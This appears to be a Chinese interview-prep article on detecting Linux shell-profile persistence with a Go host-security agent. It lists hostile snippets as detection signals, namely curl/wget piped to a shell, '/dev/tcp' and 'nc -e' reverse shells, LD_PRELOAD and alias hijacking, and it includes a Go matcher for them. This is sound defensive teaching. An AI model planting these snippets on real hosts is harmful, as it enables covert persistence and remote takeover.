Go 主机安全面试：Linux Shell Profile 启动脚本持久化检测

攻击者拿到 Linux 主机权限后，不一定只写 cron、systemd、SSH key 或 sudoers，也可能把命令塞进 /etc/profile、/etc/profile.d/、~/.bashrc、~/.profile、~/.zshrc 等 shell 启动脚本。这样用户登录、切换 shell 或执行交互式命令时，后门逻辑会被自动触发。面试官通常会追问：Go Agent 怎么采集这些入口？如何区分正常环境变量初始化和恶意下载执行？怎么把脚本变化、登录会话和后续进程串成一条可解释攻击链？

岗位场景

Linux 主机
  -> 采集系统级 profile、用户级 shell rc、文件属性、进程执行和登录会话
  -> 标准化脚本路径、执行用户、命令片段、文件 hash、属主权限和写入来源
  -> 识别异常下载执行、反弹 shell、PATH 劫持、别名覆盖和高权账号启动脚本篡改
  -> 关联 Web RCE、SSH 登录、su/sudo、shell 启动和后续网络外联
  -> 输出可解释的 Shell Profile 持久化告警

这类题考的是 Linux shell 启动流程、文件完整性、命令解析、进程链路、误报治理和 Go Agent 的轻量采集设计。

高频面试题

1. 为什么 Shell Profile 是高价值持久化检测点？

简洁答案：这些脚本会在登录 shell 或交互式 shell 启动时被加载，攻击者可以把下载执行、环境变量劫持、别名覆盖或反弹 shell 写进去，让后门在用户正常登录时自动运行。

关键知识点：

• 系统级入口常见于 /etc/profile、/etc/bash.bashrc、/etc/profile.d/*.sh。
• 用户级入口常见于 ~/.bash_profile、~/.bash_login、~/.profile、~/.bashrc、~/.zshrc。
• 不同 shell、发行版和登录方式加载顺序不同，不能只盯一个文件。
• 高权限账号的启动脚本被改，比普通开发账号的 prompt 配置变化风险更高。

Go 落地思路：

• 采集层记录路径、inode、mode、uid、gid、mtime、hash、文件大小和软链接信息。
• 检测层把“文件变化”和“危险命令片段”分开建模，避免只报一个模糊的文件变更。
• 对 root、运维账号、服务账号维护更敏感的风险权重。

type ShellProfileFile struct {
	User string
	Path string
	Hash string
	Mode uint32
	UID  int
	GID  int
}

2. Linux 上哪些 Shell 启动脚本需要纳入采集？

简洁答案：至少覆盖系统级 profile、bash/zsh 常见用户级启动文件和 profile.d 目录；生产环境里先做明确路径白名单，不要递归扫描整个 home。

常见入口：

/etc/profile
/etc/bash.bashrc
/etc/profile.d/*.sh
/root/.bashrc
/root/.bash_profile
/root/.profile
/home/<user>/.bashrc
/home/<user>/.bash_profile
/home/<user>/.profile
/home/<user>/.zshrc

关键知识点：

入口类型	典型路径	风险信号
系统级 profile	/etc/profile、/etc/profile.d/*.sh	影响所有登录用户
root 用户脚本	/root/.bashrc、/root/.profile	高权命令自动执行
普通用户脚本	/home/<user>/.bashrc	账号登录后触发后门
shell 专属配置	.zshrc、.cshrc	攻击者按环境适配

Go 落地思路：

• 从 /etc/passwd 快照得到候选用户、home 和 shell，再拼出有限候选路径。
• 对目录不存在、文件不存在、权限不足分别记录健康状态，不作为异常告警。
• profile.d 只扫描一层 .sh 文件，并设置单文件大小上限。

3. Shell Profile 中哪些内容更像攻击？

简洁答案：高风险片段通常包括远程下载后执行、反弹 shell、修改 PATH/LD_PRELOAD、覆盖常用命令别名、隐藏输出和从临时目录执行二进制。

关键知识点：

• 下载执行：curl ... | sh、wget -O- ... | bash。
• 反弹 shell：bash -i >& /dev/tcp/host/port、nc -e、mkfifo 管道。
• 环境劫持：修改 PATH 优先级、设置 LD_PRELOAD、PROMPT_COMMAND。
• 命令伪装：alias ssh=...、alias sudo=...、覆盖 ls、ps、netstat。
• 隐蔽执行：输出重定向到 /dev/null、从 /tmp、/dev/shm、隐藏目录加载脚本。

Go 落地思路：

• 使用轻量 tokenizer 或行级规则识别危险片段，不在 Agent 里实现完整 shell 解释器。
• 对命中片段保存行号、归一化命令和短上下文，避免上传完整大文件。
• 把弱信号组合评分，例如“root profile + curl 管道执行 + 写入进程来自 Web 服务”。

func hasDownloadExec(line string) bool {
	lower := strings.ToLower(line)
	return strings.Contains(lower, "curl ") && strings.Contains(lower, "| sh") ||
		strings.Contains(lower, "wget ") && strings.Contains(lower, "| bash")
}

4. 如何区分正常环境初始化和恶意持久化？

简洁答案：正常 profile 多是设置语言、代理、PATH、PS1、SDK 环境和补全脚本；恶意持久化更关注静默执行、外联、落地临时文件、隐藏命令和高权账号自动触发。

关键知识点：

• 正常变更通常来自配置管理、镜像初始化、包管理器、运维脚本或用户明确修改。
• 攻击链路常见是 nginx/php-fpm -> sh -> echo >> /root/.bashrc。
• 同一陌生命令同时写入多个用户 profile，比单个开发账号改 prompt 更可疑。
• 只按字符串黑名单会误报，需要结合写入来源、账号角色和后续行为。

Go 落地思路：

• 建立小基线：历史 hash、可信写入进程、主机角色、维护窗口和账号价值。
• 使用 reason_codes 描述命中原因，例如 root_shell_profile_modified、download_exec_in_profile、web_process_writer。
• 低风险变更降级为审计事件，高风险组合才升级为告警。

正常变更
  -> ansible 写入 /etc/profile.d/proxy.sh
  -> 内容只设置 HTTP_PROXY
  -> 维护窗口内发生
  -> 低风险审计

高危变更
  -> www-data 进程写 /root/.bashrc
  -> 新增 curl | sh
  -> 下一次 root SSH 登录后出现外联
  -> 高危持久化告警

5. 文件事件和进程事件应该如何关联？

简洁答案：文件事件告诉你 profile 被改了，进程事件告诉你谁改的，登录和 shell 进程事件告诉你它是否被触发。三者按时间窗口关联，才能从“配置变化”升级为“持久化链路”。

关键知识点：

事件	回答的问题	常见字段
文件快照 diff	改了哪个脚本、增加了什么片段	path、hash、line、mode、uid
文件写入事件	谁写入或替换了脚本	pid、ppid、uid、cmdline
登录事件	哪个账号触发登录 shell	user、src_ip、tty、session
进程执行事件	启动脚本是否产生后续行为	exe、argv、env、parent

Go 落地思路：

• 文件监听只作为触发，最终重新读取文件并计算结构化 diff。
• 对 rename 覆盖、软链接跳转和权限变化单独记录，避免漏掉替换式写入。
• 事件乱序时用短窗口缓存和 event time 关联，不依赖接收顺序。

6. Shell 启动脚本检测如何降低误报？

简洁答案：不要把所有 profile 变化都报成攻击。要按路径影响范围、账号价值、命令风险、写入来源、维护窗口、主机角色和后续行为做分级。

关键知识点：

• 开发机经常改 .bashrc，生产服务器和 root profile 变化更敏感。
• 语言 SDK、容器工具、云厂商 Agent 和配置管理工具都会写 profile.d。
• 安全产品不能直接阻断客户的登录初始化脚本，默认先告警和审计。
• 客户反馈误报后应回放样本验证规则，而不是扩大一个粗糙白名单。

Go 落地思路：

• 白名单绑定多条件：进程路径、签名或 hash、执行用户、父进程和路径。
• 对危险命令使用分级：单独 PATH 修改低危，curl | sh 高危。
• 后端规则保留可解释原因，Agent 只做标准化和轻量初筛。

7. Agent 采集这类文件时有哪些资源控制点？

简洁答案：Shell profile 文件数量有限，适合事件触发加周期快照。重点控制 home 枚举规模、单文件大小、读取频率、软链接处理和敏感字段上传。

关键知识点：

• 大规模服务器可能有很多历史用户，不能每秒扫描所有 home。
• 文件可能被符号链接到其他路径，需要记录 link target 和 real path。
• 攻击者可能快速写入再恢复，周期扫描需要配合文件事件或审计事件。
• profile 里可能包含 token、代理地址或内部域名，上传要最小化。

Go 落地思路：

• 使用候选用户上限、文件大小上限和退避策略，避免拖慢 Agent。
• 对 root、登录 shell 用户和近期登录用户优先扫描。
• 上传结构化摘要、命中行和必要上下文，不默认上传完整文件。

8. 如果线上客户反馈“登录后变慢”，怎么定位是否与检测有关？

简洁答案：先看 Agent 是否在登录路径同步读取大量文件或阻塞 shell，再看 CPU、IO、goroutine、队列积压和采集频率，最后用灰度关闭该规则或降低扫描频率验证影响。

关键知识点：

• HIDS 不应 hook 到阻塞登录流程的关键路径。
• 文件扫描要异步执行，避免因 home 目录慢盘或网络挂载拖慢登录。
• 规则误触发高频读取会造成 IO 抖动。
• 线上定位要用可回滚开关、采样日志和指标，而不是直接猜测。

Go 落地思路：

• 暴露采集耗时、扫描文件数、读取字节数、队列长度和丢弃计数。
• 为 profile 检测提供独立 feature flag 和采样日志。
• 用 pprof、runtime/trace 或内部指标定位热点，但不要在默认路径持续开启重采样。

通俗答案

可以把 Shell Profile 理解成“用户打开 shell 时自动执行的初始化脚本”。正常情况下它帮你设置 PATH、代理、提示符和补全；被攻击者改掉后，它也能帮攻击者自动下载脚本、反连服务器或劫持常用命令。检测时不要只问“文件有没有变”，而要回答：

1. 哪个账号的启动脚本变了。
2. 新增内容是不是会执行外部命令或外联。
3. 是管理员、配置管理工具还是 Web 进程写入的。
4. 变更后有没有用户登录或启动 shell。
5. 后续是否出现可疑进程、网络连接或日志清理。

这些证据串起来，告警才是“Shell Profile 持久化攻击链”，不是普通的配置变更提醒。

Go 落地要点

采集层
  -> 用户快照：passwd、home、shell、近期登录用户
  -> 文件快照：profile、bashrc、zshrc、profile.d、权限和 hash
  -> 文件事件：write、rename、chmod、chown、symlink
  -> 进程事件：写入进程、shell 启动、后续下载执行和外联

标准化层
  -> profile_file_event
  -> shell_profile_diff
  -> suspicious_shell_snippet
  -> login_shell_execution

检测层
  -> 高权账号脚本变化
  -> 下载执行和反弹 shell 片段
  -> PATH、LD_PRELOAD、PROMPT_COMMAND 劫持
  -> Web 进程写入 profile
  -> profile 变化后登录触发后续外联

工程上保持 KISS：Agent 做有限路径枚举、结构化摘要和轻量命中；复杂关联、客户基线和告警分级放在后端规则引擎中完成。

学习要点

• 理解 login shell、interactive shell 和不同 rc 文件的加载差异。
• 熟悉 /etc/profile、/etc/profile.d/、.bashrc、.profile、.zshrc 的适用场景。
• 掌握常见持久化片段：下载执行、反弹 shell、PATH 劫持、别名覆盖、PROMPT_COMMAND。
• 采集设计要避免全盘扫描，优先候选路径、事件触发和周期快照结合。
• 告警降噪要结合账号价值、写入来源、命令风险、维护窗口和后续行为。
• 线上定位要看指标和证据，避免让采集逻辑影响登录体验。

小练习

1. 设计一个 ShellProfileDiff 结构体，能表达新增行、删除行、权限变化和写入进程。
2. 写一个轻量规则：当 /root/.bashrc 新增 curl | sh 且写入进程父链包含 nginx 时输出高危告警。
3. 给客户解释：为什么他们的 Ansible 批量写 /etc/profile.d/proxy.sh 被降级成审计，而不是高危入侵。
4. 思考如何处理软链接：/root/.bashrc -> /tmp/.x 应该记录哪些字段？
5. 用 Go 写一个函数，从 /etc/passwd 解析候选 home 列表，并限制最大用户数。

复盘题

• Shell Profile 持久化和 cron 持久化的触发时机有什么区别？
• 为什么不能只用文件 hash 判断是否入侵？
• PROMPT_COMMAND、PATH 和 LD_PRELOAD 分别可能带来什么风险？
• 为什么“Web 进程写 root 的 .bashrc”比“root 自己改 .bashrc”风险更高？
• 如果文件事件丢失，周期快照还能补到哪些证据？补不到什么？